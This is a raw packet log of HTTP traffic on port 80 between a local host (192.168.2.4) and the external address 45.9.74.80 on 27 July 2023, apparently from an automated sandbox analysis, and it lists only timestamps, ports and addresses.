Jul 27, 2023 18:27:01.261183023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261190891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261217117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261250973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261270046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261290073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261323929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261343956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261358023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261392117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261399984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261428118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261461020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261473894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261496067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261529922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261539936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261574984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261610031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261621952 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261645079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261677027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261708975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261712074 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261744022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261754036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261778116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261811972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261826038 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261845112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261878014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261910915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261944056 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261951923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261951923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261979103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262013912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262032986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262047052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262082100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262096882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262115002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262146950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262178898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262182951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262212038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262250900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262270927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262283087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262315989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262327909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262348890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262382984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262389898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262415886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262448072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262461901 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262481928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262514114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262525082 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262546062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262581110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262588978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262614012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262645960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262660980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262679100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262710094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262723923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262809992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262844086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262866974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262876987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262911081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262922049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.262944937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262979031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.262991905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263014078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263046026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263078928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263111115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263144016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263175964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263209105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263242006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263274908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263308048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263340950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263372898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263405085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263437986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263469934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263503075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263535976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263570070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263571024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263571978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263598919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263600111 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263603926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263622046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263638020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263638020 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263670921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263681889 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263705015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263720989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263739109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263751984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263773918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263787985 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263808012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263834000 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263842106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263854027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263876915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263910055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263925076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263942957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263950109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.263977051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.263988018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264010906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264024973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264043093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264044046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264079094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264106035 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264111042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264158010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264190912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264224052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264257908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264306068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264317989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264318943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264339924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264374971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264377117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264410019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264442921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264451981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264477015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264511108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264523029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264545918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264581919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264586926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264616013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264651060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264659882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.264686108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.264730930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.265762091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287087917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287143946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287183046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287214994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287249088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287273884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287286043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287317991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287328959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287328959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287328959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287349939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287383080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287399054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287415028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287427902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287446976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287477970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287492037 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287509918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287518978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287542105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287564039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287580013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287584066 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287616014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287650108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287666082 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287681103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287686110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287714958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287748098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287763119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287780046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287811041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287832975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287858963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287883997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287898064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287909031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287916899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287933111 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.287942886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287969112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.287995100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288001060 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288021088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288024902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288038969 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288064003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288088083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288090944 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288113117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288131952 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288139105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288158894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288158894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288171053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288189888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288198948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288232088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288254023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288254023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288275003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288326979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288326979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288353920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288379908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288404942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288431883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288446903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288446903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288459063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288477898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288486004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288506031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288506031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288515091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288537025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288548946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288577080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288597107 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288618088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288635015 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288672924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288701057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288726091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288749933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288752079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288769007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288779020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288804054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288824081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288830996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288849115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288860083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288867950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288889885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288902044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288902044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.288923979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288949966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288975000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.288999081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289024115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289048910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289062023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289076090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289084911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289103031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289117098 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289117098 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289140940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289164066 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289167881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289184093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289196014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289227962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289242029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289257050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289282084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289303064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289309978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289336920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289351940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289366961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289376974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289393902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289395094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289413929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289421082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289447069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289473057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289474964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289499998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289505959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289530039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289534092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289546967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289563894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289588928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289591074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289628029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289638042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289671898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289689064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289706945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289738894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289758921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289773941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289807081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289827108 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289841890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289882898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289894104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289920092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289940119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289953947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.289959908 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.289988995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290023088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290044069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290057898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290065050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290091991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290102959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290127993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290162086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290195942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290235043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290250063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290250063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290251017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290270090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290302992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290335894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290342093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290342093 CEST	49705	80	192.168.2.4	45.9.74.80
